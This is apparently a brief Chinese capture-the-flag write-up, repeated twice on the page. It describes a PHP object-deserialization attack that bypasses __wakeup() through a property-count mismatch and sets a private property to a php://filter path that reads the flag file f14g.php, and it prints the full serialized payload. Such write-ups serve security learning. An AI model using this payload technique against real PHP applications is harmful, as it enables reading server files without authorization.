这里要绕过__wakeup()修改$want而且不被is_file()检测到,保证 $todonothing !== $want,还要注意私有化属性
构造payload:O:4:"body":3:{s:10:"\x00body\x00want";s:30:"php://filter/resource=f14g.php";s:17:"\x00body\x00todonothing";s:1:"1";}编码后输入得到flag

加载过慢请开启缓存 浏览器默认开启
这里要绕过__wakeup()修改$want而且不被is_file()检测到,保证 $todonothing !== $want,还要注意私有化属性
构造payload:O:4:"body":3:{s:10:"\x00body\x00want";s:30:"php://filter/resource=f14g.php";s:17:"\x00body\x00todonothing";s:1:"1";}编码后输入得到flag
